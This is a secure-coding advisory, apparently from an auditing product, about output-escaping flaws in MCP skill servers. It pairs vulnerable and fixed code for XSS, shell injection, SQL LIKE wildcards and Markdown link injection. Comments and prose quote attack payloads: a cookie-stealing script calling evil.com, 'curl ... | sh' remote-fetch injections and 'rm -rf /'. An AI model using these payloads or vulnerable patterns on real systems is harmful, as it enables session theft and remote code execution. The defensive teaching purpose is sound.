Claude skill output escaping security — SA-SKL-ESCAPE
MCP skills that generate HTML snippets for dashboards, run shell commands to clone repositories, build SQL LIKE queries for audit history search, or render Markdown in audit reports expose four distinct output injection vulnerabilities. Each has a unique escaping requirement: HTML encoding for browser contexts, array-based exec for shell commands, explicit wildcard escaping for SQL LIKE, and Markdown metacharacter escaping for report rendering. SA-SKL-ESCAPE covers all four patterns with the attack mechanics and the correct escaping library or technique for each context.
Why escaping is a distinct concern for each output context
Output injection attacks exploit the gap between the escaping semantics of different rendering contexts. A string that is safe in JSON is dangerous in HTML. A string that is safe in SQL string literals may be dangerous in SQL LIKE patterns. A string that passes HTML encoding may still inject into Markdown. The only correct approach is context-specific escaping at the boundary between untrusted data and each rendering context — not a single general-purpose sanitizer applied once at input time.
SA-SKL-ESCAPE in scope: ESCAPE-001 (HTML output with unescaped user data enables XSS), ESCAPE-002 (shell metacharacter injection via exec()), ESCAPE-003 (SQL LIKE wildcard injection), ESCAPE-004 (Markdown link injection in audit report rendering). Each pattern includes SkillAudit detection rules and correct library-based escaping.
ESCAPE-001 — HTML output with unescaped user data enables stored XSS
When a skill generates HTML snippets for a dashboard — audit finding descriptions, repository names, file paths — and interpolates user-controlled values directly into the HTML string, an attacker who controls repository metadata can inject a <script> tag that executes in the context of any user viewing the audit report in a browser. This is stored XSS: the payload is persisted in the database with the audit findings and executes for every viewer, not just the submitter.
// VULNERABLE: raw user-controlled data interpolated into HTML string
app.get('/api/skill/get_audit_html', async (req, res) => {
const audit = await db.audits.findById(req.params.id);
// VULNERABLE: audit.repoDescription is attacker-controlled via GitHub repo description
// Attacker sets description to: <script>fetch('https://evil.com/?c='+document.cookie)</script>
const html = `
<div class="finding">
<h3>${audit.repoName}</h3>
<p>${audit.repoDescription}</p>
<ul>
${audit.findings.map(f => `<li>${f.title}: ${f.description}</li>`).join('')}
</ul>
</div>
`;
res.setHeader('Content-Type', 'text/html');
res.send(html);
});
// FIXED: HTML-encode all user-controlled values before HTML interpolation
import he from 'he'; // npm install he
function escapeHtml(str: string): string {
return he.encode(str, { useNamedReferences: false });
}
app.get('/api/skill/get_audit_html', async (req, res) => {
const audit = await db.audits.findById(req.params.id);
const html = `
<div class="finding">
<h3>${escapeHtml(audit.repoName)}</h3>
<p>${escapeHtml(audit.repoDescription)}</p>
<ul>
${audit.findings.map(f =>
`<li>${escapeHtml(f.title)}: ${escapeHtml(f.description)}</li>`
).join('')}
</ul>
</div>
`;
res.setHeader('Content-Type', 'text/html');
res.send(html);
});
// Alternative: use DOMPurify (server-side via jsdom) for rich text that must allow some HTML:
// import createDOMPurify from 'dompurify';
// import { JSDOM } from 'jsdom';
// const DOMPurify = createDOMPurify(new JSDOM('').window);
// const safeHtml = DOMPurify.sanitize(audit.repoDescription);
<script> tags that execute for all dashboard viewers; stored XSS. Fix: he.encode() on all user-sourced strings before HTML template interpolation; DOMPurify.sanitize() if the content must allow a subset of HTML tags. Detection: SkillAudit flags template literals or string concatenations that produce text/html responses with database-sourced variables not passed through an HTML encoding function.ESCAPE-002 — Shell metacharacter injection via child_process.exec()
child_process.exec() spawns a shell and passes the command string to /bin/sh -c. When a skill constructs the command string by interpolating a user-supplied repository URL, any shell metacharacter in the URL executes as a shell command. The classic payload is ; rm -rf / appended to the URL. More targeted attacks use $(curl https://evil.com/payload | sh) to execute a remotely-fetched script, or > /tmp/backdoor to create persistent files.
// VULNERABLE: exec() with interpolated user-supplied repoUrl
import { exec } from 'child_process';
app.post('/api/skill/clone_repo', authMiddleware, async (req, res) => {
const { repoUrl } = req.body;
const cloneDir = `/tmp/audits/${crypto.randomUUID()}`;
// VULNERABLE: repoUrl flows directly into shell command string
// Attacker sends repoUrl: "https://github.com/legit/repo; curl https://evil.com/pwn | sh"
exec(`git clone ${repoUrl} ${cloneDir}`, (error, stdout, stderr) => {
if (error) return res.status(500).json({ error: error.message });
return res.json({ cloneDir });
});
});
// FIXED: execFile() with args as array — no shell interpretation
import { execFile } from 'child_process';
import { promisify } from 'util';
const execFileAsync = promisify(execFile);
app.post('/api/skill/clone_repo', authMiddleware, async (req, res) => {
const { repoUrl } = req.body;
// Validate repoUrl format before passing to execFile
const URL_PATTERN = /^https:\/\/github\.com\/[a-zA-Z0-9_.-]+\/[a-zA-Z0-9_.-]+\.git$/;
if (!URL_PATTERN.test(repoUrl)) {
return res.status(400).json({ error: 'Invalid repository URL format' });
}
const cloneDir = `/tmp/audits/${crypto.randomUUID()}`;
// execFile with array args: git receives ['clone', repoUrl, cloneDir] directly
// No shell spawned — shell metacharacters in repoUrl are literal characters
await execFileAsync('git', ['clone', '--depth', '1', repoUrl, cloneDir], {
timeout: 30_000,
maxBuffer: 10 * 1024 * 1024, // 10MB stdout/stderr limit
});
return res.json({ cloneDir });
});
child_process.exec() as part of a template-literal or concatenated shell command string; shell metacharacters (;, |, $(), >) execute arbitrary commands with the skill process's privileges. Fix: replace exec() with execFile() and pass arguments as an array; validate input against an allowlist pattern before passing. Detection: SkillAudit flags any exec() call where the command argument is a template literal or string concatenation involving a request body or tool argument variable.ESCAPE-003 — SQL LIKE wildcard injection via unescaped search input
Parameterized queries prevent SQL injection — an attacker cannot break out of the string literal. But parameterized queries do not escape SQL LIKE pattern metacharacters: % (match any sequence) and _ (match any single character). When a skill passes a user-supplied search string directly to a LIKE '%' || $1 || '%' pattern, an attacker who searches for % gets all rows in the table. This is not SQL injection in the traditional sense (no query structure escape), but it is a data disclosure vulnerability that bypasses the intended search scope.
// VULNERABLE: LIKE query without metacharacter escaping
app.get('/api/skill/search_audits', authMiddleware, async (req, res) => {
const { q } = req.query as { q: string };
// Parameterized — prevents SQL injection ✓
// But % and _ in q are interpreted as LIKE wildcards
// Attacker sends q = '%' → matches ALL audit rows in the database
// Attacker sends q = '_' → matches any single-character repo name
const rows = await db.query(
`SELECT * FROM audits WHERE repo_name LIKE '%' || $1 || '%' AND user_id = $2`,
[q, req.user.id]
);
return res.json(rows);
});
// FIXED: escape LIKE metacharacters before inserting into pattern
function escapeLike(str: string): string {
// Escape \ first (backslash is the escape character in LIKE patterns)
// Then escape % and _ metacharacters
return str
.replace(/\\/g, '\\\\') // \ → \\
.replace(/%/g, '\\%') // % → \%
.replace(/_/g, '\\_'); // _ → \_
}
app.get('/api/skill/search_audits', authMiddleware, async (req, res) => {
const { q } = req.query as { q: string };
if (!q || q.length > 200) return res.status(400).json({ error: 'Invalid query' });
const safeQ = escapeLike(q);
const rows = await db.query(
// ESCAPE clause tells PostgreSQL our escape character is backslash
`SELECT * FROM audits WHERE repo_name LIKE '%' || $1 || '%' ESCAPE '\\' AND user_id = $2`,
[safeQ, req.user.id]
);
return res.json(rows);
});
LIKE pattern with user-supplied search string passed as a parameterized value but without escaping % and _ metacharacters; attacker sending % as search term matches all rows in the table, bypassing intended row-level scope. Fix: escape % → \%, _ → \_, \ → \\ before inserting into LIKE pattern; include ESCAPE '\' in the SQL clause. Detection: SkillAudit flags SQL LIKE pattern expressions where the pattern argument includes a request parameter or tool argument variable without a LIKE metacharacter escaping function call on the same value.ESCAPE-004 — Markdown template literal injection in audit report rendering
When a skill generates Markdown-formatted audit reports with finding titles or descriptions interpolated directly, an attacker who controls a finding title can inject Markdown link syntax that closes an existing Markdown structure and opens a new one with an attacker-controlled target URL. For example, a finding title of ](https://evil.com) [safe text](https://skillaudit.dev closes the current Markdown link, creates a phishing link, and opens a new incomplete link structure. When a downstream renderer converts the Markdown to HTML, the resulting page contains a link to evil.com that appears to be part of the legitimate audit report.
// VULNERABLE: Markdown template literal with unescaped user-controlled title
function generateAuditMarkdown(audit: Audit): string {
return `
# Audit Report: [${audit.repoName}](${audit.repoUrl})
## Findings
${audit.findings.map(f => `- [${f.title}](${f.referenceUrl}): ${f.description}`).join('\n')}
## Summary
This report was generated by [SkillAudit](https://skillaudit.dev).
`;
}
// Attack: f.title = "SAFE](https://evil.com/phish) [INJECTED LINK"
// Rendered:
// - [SAFE](https://evil.com/phish) [INJECTED LINK](actual-reference-url): description
// User sees two links; first link goes to evil.com
// FIXED: escape Markdown metacharacters in all user-sourced strings
function escapeMarkdown(str: string): string {
// Escape characters that have special meaning in Markdown links and structure
return str
.replace(/\\/g, '\\\\') // escape backslash first
.replace(/\[/g, '\\[') // [ starts link text
.replace(/\]/g, '\\]') // ] ends link text
.replace(/\(/g, '\\(') // ( starts link URL
.replace(/\)/g, '\\)') // ) ends link URL
.replace(/\*/g, '\\*') // * bold/italic
.replace(/_/g, '\\_') // _ bold/italic
.replace(/`/g, '\\`') // ` code span
.replace(/>/g, '\\>'); // > blockquote
}
function generateAuditMarkdown(audit: Audit): string {
return `
# Audit Report: [${escapeMarkdown(audit.repoName)}](${encodeURI(audit.repoUrl)})
## Findings
${audit.findings.map(f =>
`- [${escapeMarkdown(f.title)}](${encodeURI(f.referenceUrl)}): ${escapeMarkdown(f.description)}`
).join('\n')}
`;
}
](url) sequences close existing Markdown link structures and inject new links to attacker-controlled URLs visible in rendered audit reports. Fix: escape [, ], (, ), *, _, `, \ in all user-sourced strings before Markdown template interpolation. Detection: SkillAudit flags Markdown template literals where user-sourced variables are interpolated inside [...](...) link syntax without an escapeMarkdown wrapper.